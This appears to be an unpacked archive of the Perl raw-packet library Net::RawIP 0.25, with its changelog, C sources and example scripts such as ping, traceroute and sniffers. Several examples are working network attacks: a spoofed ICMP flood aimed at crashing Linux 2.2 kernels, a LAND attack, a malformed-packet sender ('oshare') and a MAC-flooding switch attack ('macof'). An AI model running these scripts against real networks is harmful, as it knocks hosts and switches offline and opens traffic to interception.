Net-RawIP-0.25/0000755000076500007650000000000011102166630015070 5ustar maddinguemaddingue00000000000000Net-RawIP-0.25/Changes0000644000076500007650000002113311102163731016362 0ustar maddinguemaddingue00000000000000Revision history for Perl extension Net::RawIP. 2008.10.22 - 0.25 - Sebastien Aperghis-Tramoni (SAPER) - [TESTS] CPAN-RT#39252: Proc::ProcessTable does not support the size attribute on all systems. Thanks to Havard Eidnes for the patch. - [DOC] Improved the documentation a bit. 2008.10.21 - 0.24 - Sebastien Aperghis-Tramoni (SAPER) - [BUGFIX] Fixed a segfault and a warning, thanks to Mike Lowell. - [DIST] Simplified the detection logic to make it work on more systems. - [DIST] Declared all prerequisite modules. - [TESTS] Removed all the tests related to the warning that was emitted by the module when ran as non root. - [TESTS] Fixed several tests to make them more portable. - [TESTS] Added 00-load.t, 01-api.t 0.23 Tue Jan8 2007 - add version number to submodules 0.22 Tue Jan8 2007 - remove dependency on List::MoreUtils 0.22_01 Mon Jul 16 2007 (Steve Bonds) - fix endianness bug in ICMP packet creation - add lots of comments on what's going on in the ICMP portion of the RawIP.xs and RawIP.pm files - break out sub-packages to their own files so "make test" works even with Critic enabled 0.21 Mon Mar 26 22:53:48 2007 - fix looping bug in set_icmp (Micha Nasriachi) - fix tests to work both as root and as regular user 0.21_04 - Skipped 0.21_03 Fri Sep 15 11:26:17 IDT 2006 - Received official maintainership from Sergey - In Makefile.PL check for the location of the header file, report if it could not be found. 0.21_02 Sep 10 2006 - Cleaning up the C code (indentation) - More tests - Cleaning up the documentation, replacing the bad English of Sergey with the bad English of Gabor. - new() dies if wrong or duplicate protocols given All by Gabor Szabo 0.21_01 Sat Sep 9 23:59:07 IDT 2006 - Cleaning up many warnings that were probably due to using gcc 4+ - Cleaning up several assignment errors that were probably due to gcc 4+ - Lots of cleanup in the Perl code - Add tests All by Gabor Szabo 0.2 Wed Feb 9 17:11:34 PST 2005 - applied patch from Bill Stearns to get module compiled on modern gcc. 0.1 Sat Feb 1 22:23:14 PST 2003 - applied patch from Willem Itsme to get Perl 5.8 satisfied 0.09d Tue Nov 21 11:47:43 2000 - applied patch from Igal Koshevoy exit() calls were changed to croak() 0.09c Mon Apr 3 16:12:56 2000 - small modification in Makefile.PL to get the module included in the BCL 6.2 0.09b Mon Mar 27 17:15:01 2000 - fixed some memory leaks 0.09a Sat Mar 25 22:31:21 2000 - fixes in the tcp options parse code Thanks to - applied patch from Stanislav Shalunov (die() has changed to croak()) 0.09 Wed Oct 20 11:00:00 1999 - fixed bug in lookupnet Applied patch from Brian Craft 0.08 Wed Oct 13 10:36:41 1999 - "sleep" was changed to "select" for allowing to have non-integer delay times in seconds Thanks to Neal E. Young 0.07 Thu Jun 17 13:25:10 1999 - some comments - added new examle scripts - RawIP.xs modified for compiling with threading perl 0.06e Wed May 19 11:26:08 1999 - applied patch from Michael Cook for possibility to check syntax from non-root accounts 0.06d Wed Apr 28 08:56:44 1999 - has been implemented DESTROY method for correctly close assosiated filedescriptors. Thanks to Gang Lu 0.06c Wed Mar 31 09:16:05 1999 - has been implemented send_eth_frame method by suggestion from Tom Brown 0.06b Sun Feb 28 11:34:34 1999 - has been reworked Makefile.PL for the autoconfiguration. 0.06a Fri Feb 26 09:19:00 1999 - applied patch from Bryan Blackburn for port ifaddrlist() to Solaris. Thanks ,Bryan! - some rework for better guess about a raw socket format 0.06 Mon Feb 22 18:44:18 1999 - has been added the man page for the interface to libpcap 0.05f Mon Feb 22 09:52:20 1999 - rdev has been modified for handle route to localhost on a systems with a bigendian byteorder 0.05e Fri Feb 19 11:07:04 1999 - an ethernet related methods are implemented on OpenBSD thanks to Stanislav Grozev - modified rdev for handle default on ppp devices with remote address non-compatible with netmask.Thanks to TTSG - change raw format for OpenBSD to RFC format. Thanks to Stanislav Grozev 0.05d Thu Feb 18 14:34:38 1999 - rdev function has been implemented on FreeBSD - an ethernet related methods are implemented on BSDI thanks to TTSG - ifaddrlist function returns and loopback now - added sleep for better discovering mac addresses - added NAVE_SOCKADDR_SA_LEN for BSDI - adapted rdev for 2.2.x Linux and for point-to-point devices on BSDish systems 0.05c Wed Feb 10 18:37:25 1999 - has been implemented the function rdev(addr) For now it work on Linux only 0.05b Mon Feb 8 17:51:29 1999 - a ethernet related methods are implemented on FreeBSD - added method pcapinit_offline from sen_ml@eccosys.com 0.05a Thu Feb 4 19:26:46 1999 - has been implemented the ifaddrlist function this code was imported with small modification from the Firewalk portscanner FIREWALK (c) 1998, Mike D. Schiffman Dave H. Goldsmith Not work on Solaris. 0.05 Wed Feb 3 16:20:17 1999 - has been added README.DEV - readme for the developers. 0.04e Tue Feb 2 13:46:37 1999 - have been added some defines in the util.c for compability with an old libpcap. Thanks to Seth 0.04d Tue Feb 2 10:26:54 1999 - has been implemented the function called "linkoffset" - reworked the functions which related to the send side for more flexibility - reworked the man page. I'd try to catch bugs in my horrible english ;)) - small rework in the timem() - fixed bug in the "send" method related to the generic subclass - has been added the traceroute script - has been added the oshare script 0.04c Thu Jan 28 15:47:45 1999 - fix bug in timem() reported by mci@gw.al.lg.ua - fix typo bug in the "get" method related to the generic subclass 0.04b Thu Jan 28 09:40:47 - fixes in the pod documentation 0.04a Wed Jan 27 08:55:28 1999 - fix small bug in udp_pkt_creat reported by Michail Litvak 0.04 Mon Jan 25 09:27:50 1999 - port to BSDI and probably to other *BSD Thanks for help to TTSG - fixes for compile with Perl 5.005, thanks to Gurusamy Sarathy for his finest Data::Dumper ;) 0.03 Tue Jan 19 16:26:23 1999 - implemented generic subclass for generic ip datagramms - implemented manipulate IP and TCP options - added new example scripts - fix in RawIP.xs from noel@burton-krahn.com for suppress warning messages while compile on Alpha 0.03f Wed Jan 6 16:35:58 1999 - insert BSDFIX() for FreeBSD rawsocket format - it seems like Net::RawIP is worked on FreeBSD Thanks for help porting to FreeBSD to Igor Indick and Nicholas N. Matveev 0.03e Mon Jan 4 16:22:25 1999 - remove memory leaks reported by ian.vitek@backupcentralen.se 0.03d Thu Dec 31 07:42:57 1998 - reworked set_sockaddr - remove #ifdef FreeBSD and usleep(20000); 0.03c Wed Dec 30 09:08:01 1998 - applied patch from Bryan Blackburn for porting to Solaris - added some pod fixes from Bryan Blackburn for pod2html 0.03b Mon Dec 28 13:50:17 1998 - fix problems with gcc 2.7.2.1 on FreeBSD Tue Dec 29 16:52:16 1998 - insert usleep(20000); for sendto() on FreeBSD 0.03a Thu Dec 24 10:01:15 1998 - minimize files for includes for system compability - Set switch $^W to FALSE for suppress warning messages Thu Dec 24 18:59:42 1998 - added some compability with other systems 0.02 Wed Dec 23 17:59:30 1998 - some man fixes 0.02b Tue Dec 22 15:32:51 1998 - documenting new ethernet related features 0.01 Thu Dec 10 19:48:04 1998 - original version Wed Dec 16 18:29:25 1998 - implemented udp and icmp packets Mon Dec 21 18:40:11 1998 - implemented SOCK_PACKET and manipulating eth headers including discovering mac adresses Net-RawIP-0.25/eth.c0000644000076500007650000001560010604431634016023 0ustar maddinguemaddingue00000000000000#include "EXTERN.h" #include "perl.h" #include "XSUB.h" #ifdef _BPF_ #include #endif #include #include #include #include #ifdef _LINUX_ #include #ifdef _GLIBC_ #include #include #include #else #include #include #include #endif /*_GLIBC_*/ #else #define MAX_IFS 32 #include #include #include #include #include #include #include #include #include #include "ip.h" #ifdef _BSDRAW_ unsigned short in_cksum (unsigned short*,int); #endif #endif /*_LINUX_*/ #ifdef _BPF_ static int get_ether_addr(u_long ipaddr, u_char *hwaddr) { struct ifreq *ifr, *ifend, *ifp; u_long ina, mask; struct sockaddr_dl *dla; struct ifreq ifreq; struct ifconf ifc; struct ifreq ifs[MAX_IFS]; int s; s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) perror("socket"); ifc.ifc_len = sizeof(ifs); ifc.ifc_req = ifs; if (ioctl(s, SIOCGIFCONF, &ifc) < 0) { close(s); return 0; } ifend = (struct ifreq *) (ifc.ifc_buf + ifc.ifc_len); for (ifr = ifc.ifc_req; ifr < ifend; ) { if (ifr->ifr_addr.sa_family == AF_INET) { ina = ((struct sockaddr_in *) &ifr->ifr_addr)->sin_addr.s_addr; strncpy(ifreq.ifr_name, ifr->ifr_name, sizeof(ifreq.ifr_name)); if (ioctl(s, SIOCGIFFLAGS, &ifreq) < 0) continue; if ((ifreq.ifr_flags & (IFF_UP|IFF_BROADCAST|IFF_POINTOPOINT| IFF_LOOPBACK|IFF_NOARP)) != (IFF_UP|IFF_BROADCAST)) goto nextif; if (ioctl(s, SIOCGIFNETMASK, &ifreq) < 0) continue; mask = ((struct sockaddr_in *) &ifreq.ifr_addr)->sin_addr.s_addr; if ((ipaddr & mask) != (ina & mask)) goto nextif; break; } nextif: ifr = (struct ifreq *) ((char *)&ifr->ifr_addr + ifr->ifr_addr.sa_len); } if (ifr >= ifend) { close(s); return 0; } ifp = ifr; for (ifr = ifc.ifc_req; ifr < ifend; ) { if (strcmp(ifp->ifr_name, ifr->ifr_name) == 0 && ifr->ifr_addr.sa_family == AF_LINK) { dla = (struct sockaddr_dl *) &ifr->ifr_addr; memcpy(hwaddr,LLADDR(dla),dla->sdl_alen); close (s); return dla->sdl_alen; } ifr = (struct ifreq *) ((char *)&ifr->ifr_addr + ifr->ifr_addr.sa_len); } return 0; } #endif /*_BPF_*/ void send_eth_packet(int fd, char* eth_device, u_char *pkt, int len, int flag) { int retval; #ifndef _BPF_ struct msghdr msg; struct sockaddr_pkt spkt; struct iovec iov; strcpy((char *)spkt.spkt_device, eth_device); spkt.spkt_protocol = htons(ETH_P_IP); memset(&msg, 0, sizeof(msg)); msg.msg_name = &spkt; msg.msg_namelen = sizeof(spkt); msg.msg_iovlen = 1; msg.msg_iov = &iov; iov.iov_base = pkt; iov.iov_len = len; retval = sendmsg(fd, &msg, 0); #else #ifdef _BSDRAW_ if (flag) { ((struct iphdr *)(pkt + 14))->tot_len = htons(((struct iphdr *)(pkt + 14))->tot_len); ((struct iphdr *)(pkt + 14))->frag_off = htons(((struct iphdr *)(pkt + 14))->frag_off); ((struct iphdr *)(pkt + 14))->check = 0; ((struct iphdr *)(pkt + 14))->check = in_cksum((unsigned short*)(pkt + 14), 4*((struct iphdr *)(pkt + 14))->ihl); } #endif retval = write(fd,pkt,len); #endif if (retval < 0) { croak("send_eth_packet"); } } int mac_disc(unsigned int addr,unsigned char * eth_mac) { #ifndef _BPF_ struct arpreq { struct sockaddr arp_pa; struct sockaddr arp_ha; int arp_flags; struct sockaddr arp_netmask; char arp_dev[16]; } req; int fd; fd = socket(AF_INET,SOCK_DGRAM,0); memset((char*)&req,0,sizeof(req)); req.arp_pa.sa_family = AF_INET; *(unsigned int*)(req.arp_pa.sa_data+2) = htonl(addr); if (ioctl(fd,SIOCGARP,&req) < 0) { close(fd); return 0; } memcpy(eth_mac, req.arp_ha.sa_data, ETH_ALEN); close(fd); return 1; #else int mib[6],found; size_t needed; char *lim, *buf, *next; struct rt_msghdr *rtm; struct sockaddr_inarp *sin; struct sockaddr_dl *sdl; extern int h_errno; mib[0] = CTL_NET; mib[1] = PF_ROUTE; mib[2] = 0; mib[3] = AF_INET; mib[4] = NET_RT_FLAGS; mib[5] = RTF_LLINFO; found = 0; if (sysctl(mib, 6, NULL, &needed, NULL, 0) < 0) perror("route-sysctl-estimate"); if ((buf = (char*)malloc(needed)) == NULL) perror("malloc"); if (sysctl(mib, 6, buf, &needed, NULL, 0) < 0) perror("actual retrieval of routing table"); lim = buf + needed; for (next = buf; next < lim; next += rtm->rtm_msglen) { rtm = (struct rt_msghdr *)next; sin = (struct sockaddr_inarp *)(rtm + 1); sdl = (struct sockaddr_dl *)(sin + 1); if (addr != ntohl(sin->sin_addr.s_addr)) continue; found = 1; } free(buf); if (!found) { return 0; } else { memcpy(eth_mac,LLADDR(sdl),sdl->sdl_alen); return 1; } #endif } int tap(char *dev,unsigned int *my_eth_ip,unsigned char *my_eth_mac) { int fd,v,s; struct ifreq ifr; (void)strcpy(ifr.ifr_name, dev); #ifndef _BPF_ if ((fd = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL))) < 0) { croak("(tap) SOCK_PACKET allocation problems [fatal]"); } #else if ((fd = bpf_open()) < 0) croak("(tap) fd < 0"); v = 32768; (void) ioctl(fd, BIOCSBLEN, (caddr_t)&v); if (ioctl(fd, BIOCSETIF, (caddr_t)&ifr) < 0) { croak("(tap) BIOCSETIF problems [fatal]"); } s = socket(AF_INET, SOCK_DGRAM, 0); #endif #ifndef _BPF_ if (ioctl(fd, SIOCGIFADDR, &ifr) < 0) { close(fd); croak("(tap) Can't get interface IP address"); } #else if (ioctl(s, SIOCGIFADDR, &ifr) < 0) { close(fd); close(s); croak("(tap) Can't get interface IP address"); } #endif *my_eth_ip = ntohl(((struct sockaddr_in*)&ifr.ifr_addr)->sin_addr.s_addr); #ifndef _BPF_ if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0) { close(fd); croak("(tap) Can't get interface HW address"); } memcpy(my_eth_mac, ifr.ifr_hwaddr.sa_data,ETH_ALEN); #else close(s); if (!get_ether_addr(((struct sockaddr_in*)&ifr.ifr_addr)->sin_addr.s_addr, my_eth_mac)) { croak("(tap) Can't get interface HW address"); } #endif return fd; } Net-RawIP-0.25/examples/0000755000076500007650000000000011102166627016714 5ustar maddinguemaddingue00000000000000Net-RawIP-0.25/examples/DoS_linux.2.2.7-90000755000076500007650000000210510604431634021356 0ustar maddinguemaddingue00000000000000#!/usr/bin/perl # DoS for Linux kernels from 2.2.7 to 2.2.9 reported in BUGTRAQ # 06/01/99 by Piotr Wilkin ( C source ) # An attacker has to be in same ethernet segment with victim # I did't test it $| = 1; require 'getopts.pl'; use Net::RawIP; Getopts('t:'); die "Usage $0 -t " unless $opt_t; srand(time); $i = 996; $data .= chr(int rand(255)),$i-- while($i); $icmp = new Net::RawIP({ ip => { ihl => 6, tot_len => 1024, id => 1, ttl => 255, frag_off => 0, daddr => $opt_t }, icmp => { id => 2650, data => $data } }); for(;;){ $j++; $icmp->set({ ip => { saddr => 17000000 + int rand 4261000000 }, icmp => { type => int rand(14), code => int rand(10), sequence => int rand(255) } }); $icmp->send; print "b00m " unless $j%1000; } Net-RawIP-0.25/examples/iflist0000755000076500007650000000021710604431634020133 0ustar maddinguemaddingue00000000000000#!/usr/bin/perl use strict; use warnings; use Net::RawIP; my $list = ifaddrlist; foreach (keys %$list) { print "$_ -> $list->{$_}\n"; } Net-RawIP-0.25/examples/ip_rt_dev0000755000076500007650000000020410604431634020610 0ustar maddinguemaddingue00000000000000#!/usr/bin/perl use strict; use warnings; use Net::RawIP; die "Usage: $0 [hostname|IP]\n" if not @ARGV; print rdev($ARGV[0]),"\n"; Net-RawIP-0.25/examples/ipopt_traceroute0000755000076500007650000000313410604431634022232 0ustar maddinguemaddingue00000000000000#!/usr/bin/perl use strict; use warnings; # This script use IP option called "record route" for emulate traceroute. # Unfortunately max size of ip options is only 40 bytes and we can see # just 9 hops, other hops will be ignored ;( use Net::RawIP; use Getopt::Long qw(GetOptions); my %opt; GetOptions(\%opt, 'interface=s', 'source=s', 'dest=s'); die "Usage $0 --interface --dest --source " unless($opt{dest} && $opt{interface} && $opt{source}); my $rawip = Net::RawIP->new({icmp =>{}}); $rawip->set({ ip => { saddr => $opt{source}, daddr => $opt{dest}, }, icmp => { type => 8, id => $$, } }); my $data = "\5".("\0" x 37); $rawip->optset(ip => { type => [(7)], data => [($data)], }); my $filt = "ip proto \\icmp and dst host $opt{source}"; my $size = 1500; my $tout = 30; my $pcap = $rawip->pcapinit($opt{interface}, $filt, $size, $tout); my $i = 0; my @a; if (fork) { loop $pcap,1, \&dmp, \@a; } else { sleep 1; $rawip->set({icmp => {sequence => $i,data => timem()}}); $rawip->send(1,1); } sub dmp { $rawip->bset(substr($_[2],14)); my $opt = ($rawip->optget(ip => {type => [(7)] } ))[2]; $opt = substr($opt, 2); my @route = unpack("N9", $opt); my $j = 0; for my $site (@route) { last unless $site; printf(" -> ") if $j; printf("\n") if $j == 4; printf("%u.%u.%u.%u", unpack("C4", pack("N", $site))); $j++; } printf("\n"); } Net-RawIP-0.25/examples/land0000755000076500007650000000053510604431634017562 0ustar maddinguemaddingue00000000000000#!/usr/bin/perl require 'getopts.pl'; use Net::RawIP; Getopts('i:p:'); $a = new Net::RawIP; die "Usage $0 -i -p " unless ($opt_i && $opt_p); $a->set({ ip => {saddr => $opt_i, daddr => $opt_i }, tcp=> {dest => $opt_p, source => $opt_p, psh => 1, syn => 1} }); $a->send; Net-RawIP-0.25/examples/macof0000755000076500007650000000474710604431634017742 0ustar maddinguemaddingue00000000000000#!/usr/bin/perl -w # # macof v. 1.1 # By Ian Vitek ( ian.vitek@infosec.se ) # Tests network devices by flooding local network with MAC-addresses. # # Needs Net::RawIP (http://quake.skif.net/RawIP) # Requires libpcap (ftp://ftp.ee.lbl.gov/libpcap.tar.Z) # # Example: ./macof -e -n 1000000 # ./macof -r -n 1000000 # (run it several times) # # Warning: This program could cause problems on your network. # This program could hang, crash or reboot network devices. # Switches could start sending packages to all ports making it # possible to intercept network trafic. # # require 'getopts.pl'; use Net::RawIP; Getopts('hvrs:e:d:x:y:i:n:'); sub GenMAC { my $tmp_mac="00"; my $i=0; # generate random mac-address while($i++ < 5) { $tmp_mac.=":" . sprintf("%x",int rand 16); $tmp_mac.=sprintf("%x",int rand 16); } return($tmp_mac); } $a = new Net::RawIP; die "usage: $0 [options]\ \t-d dest_host\t\t(def:random)\ \t-s source_host\t\t(def:random)\ \t-v \t\t\tprints generated mac-addresses\ \t-r | -e dest_mac \trandomize or set destination mac address\ \t\t\t\tshould be in format ff:ff:ff:ff:ff:ff or host\ \t-x source_port\t\t(def:random)\ \t-y dest_port \t\t(def:random)\ \t-i interface \t\tset sending interface \t\t(def:eth0)\ \t-n times\t\tset number of times to send \t(def:1)\ \t-h this help\n" unless ( !$opt_h && !($opt_r && $opt_e) ); # set default values $opt_i=eth0 unless $opt_i; $opt_n=1 unless $opt_n; $s_host=$opt_s if $opt_s; $d_host=$opt_d if $opt_d; $s_port=$opt_x if $opt_x; $d_port=$opt_y if $opt_y; # choose network card if($opt_e) { $a->ethnew($opt_i, dest => $opt_e); } else { $a->ethnew($opt_i); } # Loop for($times=0; $times < $opt_n; $times++) { # Check if one or two mac-addresses should be generated $mac=&GenMAC; if($opt_r) { $d_mac=&GenMAC; print "$d_mac \t$mac\n" if($opt_v); # set mac-addresses $a->ethset(source => $mac, dest => $d_mac); } else { print "$mac\n" if($opt_v); # set mac-address $a->ethset(source => $mac); } # generate random source and destination ip-addresses $s_host=17000000+int rand 4261000000 unless $opt_s; $d_host=17000000+int rand 4261000000 unless $opt_d; # generate random source and dest ports $s_port=int rand 65535 unless $opt_x; $d_port=int rand 65535 unless $opt_y; # set network package $a->set({ip => {saddr => $s_host, daddr => $d_host}, tcp => {source => $s_port, dest => $d_port} }); # send $a->ethsend; } Net-RawIP-0.25/examples/oshare0000755000076500007650000000140710604431634020124 0ustar maddinguemaddingue00000000000000#!/usr/bin/perl # This script will not works on *BSD because it does generate an incomplete ip # packet. # You have to use Linux which don't think that it is more clever than a # programmer require 'getopts.pl'; use Net::RawIP; Getopts('t:n:'); die "Usage $0 -t -n " unless ($opt_t && $opt_n); @data = split (//,"0"x20); $p = new Net::RawIP({ ip => { ihl => 11, tot_len => 44, tos => 0, ttl => 255, id => 1999, frag_off => 16383, protocol => 17, saddr => '1.1.1.1', daddr => $opt_t }, generic => {} }); $p->optset(ip => { type => [@data] , data => [@data] }); $p->send(0,$opt_n*1000); Net-RawIP-0.25/examples/ping0000755000076500007650000000242110604431634017575 0ustar maddinguemaddingue00000000000000#!/usr/bin/perl use strict; use warnings; use Net::RawIP qw(:pcap); use Getopt::Long qw(GetOptions); my %opts = ( device => 'eth0', ); GetOptions(\%opts, "source=s", "destination=s", "device=s" ) or exit; my $rawip = Net::RawIP->new({icmp =>{}}); $rawip->set({ ip => { saddr => $opts{source}, daddr => $opts{destination}, }, icmp => { type => 8, id => $$, } }); # insert your site here! $filt = 'ip proto \\icmp and icmp[0]==0 and dst host my.site.lan'; $size = 1500; $tout = 30; $pcap = $rawip->pcapinit($opts{device}, $filt, $size, $tout); $i =0; if(fork){ loop $pcap,-1,\&dmp,\@a; } else{ sleep 2; for(;;){ $rawip->set({icmp => {sequence => $i,data => timem()}}); $rawip->send(1,1); $i++ } } sub dmp { my $time = timem(); $rawip->bset(substr($_[2],14)); my @ar = $rawip->get({ip => [qw(ttl)], icmp=>[qw(sequence data)]}); printf("%u bytes from %s: icmp_seq=%u ttl=%u time=%5.1f ms\n",length($ar[2])+8, ,$ARGV[0],$ar[1],$ar[0],($time-$ar[2])*1000); } sub usage { print <<"END_USAGE"; Usage: $0 --source SOURCE (e.g. localhost) --destination DEST --device DEVICE defaults to eth0 END_USAGE exit; } Net-RawIP-0.25/examples/sniff.pl0000644000076500007650000000154410604431634020361 0ustar maddinguemaddingue00000000000000#!/usr/bin/perl use strict; use warnings; use Net::RawIP; use Getopt::Long qw(GetOptions); my $device = 'lo'; # eth0 ? my $count = 20; my $port; my @flags = qw/URG ACK PSH RST SYN FIN/; GetOptions( "device=s" => \$device, "port=s" => \$port, ) or usage(); usage() if not $port; my $rawip = Net::RawIP->new; my $filter = "dst port $port"; my $packet_size = 1500; my $pcap = $rawip->pcapinit($device, $filter, $packet_size, 30); my @x; loop $pcap, $count, \&callback, \@x; sub callback { $rawip->bset(substr( $_[2],14)); my @fl = $rawip->get({tcp=> [qw(psh syn fin rst urg ack)] }); print "Client -> "; map { print "$flags[$_] " if $fl[$_] } (0..5); print "\n" } sub usage { print <<"END_USAGE"; Usage: $0 --device DEVICE [lo|eth0|...] --port PORT END_USAGE exit; } Net-RawIP-0.25/examples/traceroute0000755000076500007650000000574310604431634021027 0ustar maddinguemaddingue00000000000000#!/usr/bin/perl # Has been created by ShaD0w # This is free software; you can redistribute it and/or modify it under the # same terms as Perl itself. # Look at user configurable section for set defaults use Net::RawIP qw(:pcap); use Socket; require 'getopts.pl'; Getopts('m:q:w:t:h'); $|=1; $dest = $opt_t; if ($opt_h || !$opt_t){ print "Usage $0 [ -h ] [-w timeout(sec)] [-q nqueries] [-m max_ttl] -t host\n "; exit } $max_ttl = ($opt_m ? $opt_m : 30); $n_pakets = ($opt_q ? $opt_q : 3); $timeout = ($opt_w ? $opt_w: 5); ($name,$ip) = (gethostbyname($dest))[0,4]; die "$dest: host not found" if $?; ############# # User configurable section # If rdev and ifaddrlist functions are not implemented # $dev='eth0'; # set your device # $ip_addr = 'amk.lan'; # set your ip address # The rdev and ifaddrlist functions are implemented (auto) $dev = rdev($dest); $ip_addr = ${ifaddrlist()}{$dev}; ############# print "traceroute to $name ("; printf ("%u.%u.%u.%u",unpack("C4",$ip)); print ") , $max_ttl hops max, 40 byte packets\n"; srand(); $packet = new Net::RawIP({udp=>{}}); $icmp = new Net::RawIP({icmp=>{}}); $udp = new Net::RawIP({udp=>{}}); $filt="ip proto \\icmp and dst host $ip_addr and (icmp[0]==3 or icmp[0]==11)"; $pcap = $packet->pcapinit($dev,$filt,1500,60); $offset = linkoffset($pcap); $packet->set({ip=> {saddr=>$ip_addr, daddr=>$dest, frag_off=>0, tos=>0, id=>$$}, udp=> {data=>'a'x12}}); for($i=1;$i<=$max_ttl;$i++){ print "$i. "; $printed = 0; for($np=0;$np<$n_pakets;$np++){ $gen=10000+int(rand(1000)); $packet->set({ip=>{ttl=>$i},udp=>{source=>$gen, dest=>$gen+1}}); undef($ipacket); $packet->send(); $stime = timem(); $drop = 1; do { $end = 1 if($p_type==3); $p_addr=$p_type=$p_code=0; $ipacket = &next($pcap,$temp); $etime=timem(); if($ipacket) { $icmp->bset(substr($ipacket,$offset)); ($addr,$type,$code,$data) = $icmp->get({ip=>['saddr'],icmp=>['type','code','data']}); $udp->bset($data); ($sign) = $udp->get({udp=>['source']}); if($sign eq $gen){ $drop = 0; ($p_addr, $p_type, $p_code) = ($addr, $type, $code); } } } while((($etime-$stime)<$timeout) && $drop); unless(($etime-$stime)<$timeout){ print "* "; next; } $dtime = ($etime-$stime); unless($printed){ print ip2name($p_addr), " (",ip2dot($p_addr), ") ",destun($type,$p_code) ? rtt_ms($dtime):cod2name($dtime,$p_code); $printed = 1; } else { print " ",destun($type,$p_code) ? rtt_ms($dtime):cod2name($dtime,$p_code); } } print "\n"; exit if $end; } sub ip2dot { sprintf("%u.%u.%u.%u",unpack "C4", pack "N1", shift); } sub ip2name { my $addr = shift; (gethostbyaddr(pack("N",$addr),AF_INET))[0] || ip2dot($addr); } sub rtt_ms { sprintf("%.2f ms", 1000*shift); } sub cod2name { my @str = qw( !N !H !P 0 !F !S); return rtt_ms($_[0])." ".$str[$_[1]]; } sub destun { $_[0]!=3 || ($_[0]==3 && $_[1] == 3) } Net-RawIP-0.25/examples/watch0000755000076500007650000000355510604431634017757 0ustar maddinguemaddingue00000000000000#!/usr/bin/perl use strict; use warnings; # Simple script for educational purposes # It prints to STDOUT flags tcp packets from ftp server and client use Net::RawIP; use Getopt::Long qw(GetOptions); require 'getopts.pl'; my $device = 'lo'; my $port = 21; my $packet_size = 1500; my $timeout = 500; my $count = 20; my $host = 'localhost'; GetOptions( 'host=s' => \$host, 'device=s' => \$device, 'number=s' => \$count, 'port=s' => \$port, ) or usage(); usage() if (not ($host and $port and $device and $count)); print "Configuration: host: $host:$port on device $device for $count times\n"; print "Now please login to your ftp server\n"; my @flags = qw/URG ACK PSH RST SYN FIN/; my $filter = "dst host $host and dst port $port"; my $filter1 = "src host $host and src port $port"; my $parent; my $child; my $pid = fork(); if ($pid) { # parent $parent = Net::RawIP->new; my $pcap = $parent->pcapinit($device, $filter, $packet_size, $timeout); my @a; #loop $pcap, $count, \&cl, \@a; sleep 3; } elsif (defined $pid) { # child #$child = Net::RawIP->new; #my @a; #my $pcap = $child->pcapinit($device, $filter1, $packet_size, $timeout); #loop $pcap, $count, \&sv, \@a; } else { die "System error. Could not fork\n"; } sub cl { $parent->bset(substr( $_[2],14)); my @fl = $parent->get({tcp=> [qw(psh syn fin rst urg ack)] }); print "Client -> "; map { print "$flags[$_] " if $fl[$_] } (0..5); print "\n" } sub sv { $child->bset(substr( $_[2],14)); my @fl = $child->get({tcp=> [qw(psh syn fin rst urg ack)] }); print "Server -> "; map { print "$flags[$_] " if $fl[$_] } (0..5); print "\n"; } sub usage { die "Usage $0 --host --device --number " } Net-RawIP-0.25/ifaddrlist.c0000644000076500007650000000615110604431634017371 0ustar maddinguemaddingue00000000000000#ifdef _LINUX_ #define _BSD_SOURCE 1 #define __FAVOR_BSD 1 #endif #include #include #include #include #include #if __STDC__ struct mbuf; struct rtentry; #endif #include #include #include #include #include #include #include #include #include #ifdef _SOLARIS_ #include #include #include "solaris.h" #endif /* _SOLARIS_ */ #define MAX_IPADDR 32 #include "ifaddrlist.h" int ifaddrlist(register struct ifaddrlist **ipaddrp, register char *errbuf) { register int fd, nipaddr; #ifdef HAVE_SOCKADDR_SA_LEN register int n; #endif register struct ifreq *ifrp, *ifend, *ifnext, *mp; register struct sockaddr_in *sin; register struct ifaddrlist *al; struct ifconf ifc; struct ifreq ibuf[MAX_IPADDR], ifr; char device[sizeof(ifr.ifr_name) + 1]; static struct ifaddrlist ifaddrlist[MAX_IPADDR]; (void)memset(device,0,sizeof(device)); fd = socket(AF_INET, SOCK_DGRAM, 0); if (fd < 0) { (void)sprintf(errbuf, "socket: %s", strerror(errno)); return (-1); } ifc.ifc_len = sizeof(ibuf); ifc.ifc_buf = (caddr_t)ibuf; if (ioctl(fd, SIOCGIFCONF, (char *)&ifc) < 0 || ifc.ifc_len < sizeof(struct ifreq)) { (void)sprintf(errbuf, "SIOCGIFCONF: %s", strerror(errno)); (void)close(fd); return (-1); } ifrp = ibuf; ifend = (struct ifreq *)((char *)ibuf + ifc.ifc_len); al = ifaddrlist; mp = NULL; nipaddr = 0; for (; ifrp < ifend; ifrp = ifnext) { #ifdef HAVE_SOCKADDR_SA_LEN n = ifrp->ifr_addr.sa_len + sizeof(ifrp->ifr_name); if (n < sizeof(*ifrp)) { ifnext = ifrp + 1; } else { ifnext = (struct ifreq *)((char *)ifrp + n); } if (ifrp->ifr_addr.sa_family != AF_INET) continue; #else ifnext = ifrp + 1; #endif strncpy(ifr.ifr_name, ifrp->ifr_name, sizeof(ifr.ifr_name)); if (ioctl(fd, SIOCGIFFLAGS, (char *)&ifr) < 0) { if (errno == ENXIO) continue; (void)sprintf(errbuf, "SIOCGIFFLAGS: %.*s: %s", (int)sizeof(ifr.ifr_name), ifr.ifr_name, strerror(errno)); (void)close(fd); return (-1); } if ((ifr.ifr_flags & IFF_UP) == 0) continue; (void)strncpy(device, ifr.ifr_name, sizeof(ifr.ifr_name)); device[sizeof(device) - 1] = '\0'; if (ioctl(fd, SIOCGIFADDR, (char *)&ifr) < 0) { sprintf(errbuf, "SIOCGIFADDR: %s: %s", device, strerror(errno)); close(fd); return (-1); } sin = (struct sockaddr_in *)&ifr.ifr_addr; al->addr = ntohl(sin->sin_addr.s_addr); al->device = strdup(device); al->len = strlen(device); ++al; ++nipaddr; } (void)close(fd); *ipaddrp = ifaddrlist; return (nipaddr); } Net-RawIP-0.25/ifaddrlist.h0000644000076500007650000000021210604431634017366 0ustar maddinguemaddingue00000000000000struct ifaddrlist { u_int32_t addr; int len; char *device; }; int ifaddrlist( struct ifaddrlist **, char * ); Net-RawIP-0.25/ip.h0000644000076500007650000000063510604431634015662 0ustar maddinguemaddingue00000000000000struct iphdr { #if __BYTE_ORDER == __LITTLE_ENDIAN u_int8_t ihl:4; u_int8_t version:4; #elif __BYTE_ORDER == __BIG_ENDIAN u_int8_t version:4; u_int8_t ihl:4; #else #error "Please fix " #endif u_int8_t tos; 